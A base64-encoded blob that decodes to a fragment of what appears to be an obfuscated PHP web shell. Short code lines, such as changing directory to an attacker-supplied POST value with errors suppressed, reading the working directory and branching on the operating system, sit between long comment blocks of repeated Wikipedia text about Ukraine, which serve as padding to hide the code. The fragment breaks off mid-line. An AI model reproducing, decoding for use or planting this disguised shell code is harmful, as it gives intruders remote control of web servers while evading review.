IGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCglAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KaWYoICRvcyA9PSAnd2luJykgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCSRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3d